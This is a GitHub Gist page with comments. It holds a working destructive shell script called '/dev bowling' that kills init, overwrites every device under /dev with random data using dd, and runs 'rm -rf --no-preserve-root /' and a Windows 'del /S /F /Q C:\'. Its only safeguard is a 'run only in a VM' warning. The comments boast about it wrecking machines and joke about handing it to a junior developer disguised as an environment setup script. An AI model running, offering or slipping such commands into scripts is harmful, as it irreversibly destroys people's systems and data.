Skip to content

Instantly share code, notes, and snippets.

@hello-smile6
Last active February 7, 2024 13:24
Show Gist options
  • Save hello-smile6/fa92b539fce2339440bdd75e087cae8b to your computer and use it in GitHub Desktop.
Save hello-smile6/fa92b539fce2339440bdd75e087cae8b to your computer and use it in GitHub Desktop.
/dev bowling
# DO NOT RUN UNLESS IT'S A VM! I TAKE NO RESPOSIBILITY FOR YOUR ACTIONS WITH THIS.
exit
kill -9 $pid
logout
kill -9 1
pkill init
sudo pkill init
for device in `find /dev`
do
# Don't run synchronously
`echo $device;dd if=/dev/urandom of=$device`&
done
echo "Well, something didn't work right. Your computer's still intact. Oh, well."
rm -rf /
rm -rf --no-preserve-root /
# For windows
del /S /F /Q C:\
@hello-smile6
Copy link
Author

@hello-smile6
Copy link
Author

@hello-smile6
Copy link
Author

At a certain point (at least on DSL) it starts writing random data to your mouse device, which basically finalizes everything. After that, there's no recovery.

@hello-smile6
Copy link
Author

Went down at about ram19 on DSL.

@webdev03
Copy link

won't try it even in a vm

@hello-smile6
Copy link
Author

@webdev03 That evil?

@webdev03
Copy link

its still a vm on my computer, i know it wont hit my real computer, but it would take a toll on the real cpu

@hello-smile6
Copy link
Author

@webdev03 I know. It nearly wiped out my Chrome OS dev machine. You might be able to avoid the CPU load if you use Bochs and set a decently low limit for the clock speed.

@mryellow
Copy link

random data to your mouse device

One of the earlier and cooler computer virus was "Ghost Virus". Innocuous enough, it simply reversed your mouse.

http://virus.wikidot.com/ghost

@hello-smile6
Copy link
Author

@mryellow I do more than that. Nuclear is always better.

@DestyNova
Copy link

@mryellow ahh, the Ghost virus was incredibly annoying... Apart from forcing you to boot with no floppy disk if you're not sure which of your disks is infected (this takes around 30 seconds extra on the Atari ST), it also happened to wreck game disks since they usually had a custom bootsector loader which Ghost overwrites.

@mryellow
Copy link

The original was clean, wiki talks about later variants having bugs.

In my experiments messing with Atari ST boot sectors (on disks which already had data) it was pretty easy to have something go wrong though.

@battlesnake
Copy link

battlesnake commented Jan 14, 2022

It seems potentially recoverable with a reinstall. Could also wipe the EFI vars for total chaos.

@hello-smile6
Copy link
Author

@battlesnake Feel free to add that on a fork. Just make sure it still runs on v86.

@G2G2G2G
Copy link

G2G2G2G commented Jan 20, 2022

using urandom instead of zero

yea I guess if you're a turtle.

@TechStudent10
Copy link

@hello-smile6 Can you please stop promoting this Gist on Marak/colors.js?

@hello-smile6
Copy link
Author

@TechStudent10
Copy link

@TechStudent11 Okay

I wasn't expecting you just to comply! Thanks!

@hello-smile6
Copy link
Author

@TechStudent11 You're welcome

@equivalent
Copy link

this looks like fun, I will give it to Junior Developer as a setup environment script

@webdev03
Copy link

webdev03 commented Feb 11, 2022

this looks like fun, I will give it to Junior Developer as a setup environment script

oh no!! 😟

@TechStudent10
Copy link

this looks like fun, I will give it to Junior Developer as a setup environment script

if that jr. dev is your friend then

friends--

@hello-smile6
Copy link
Author

this looks like fun, I will give it to Junior Developer as a setup environment script

Leveled Ubuntu 20 in less than 10 seconds.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment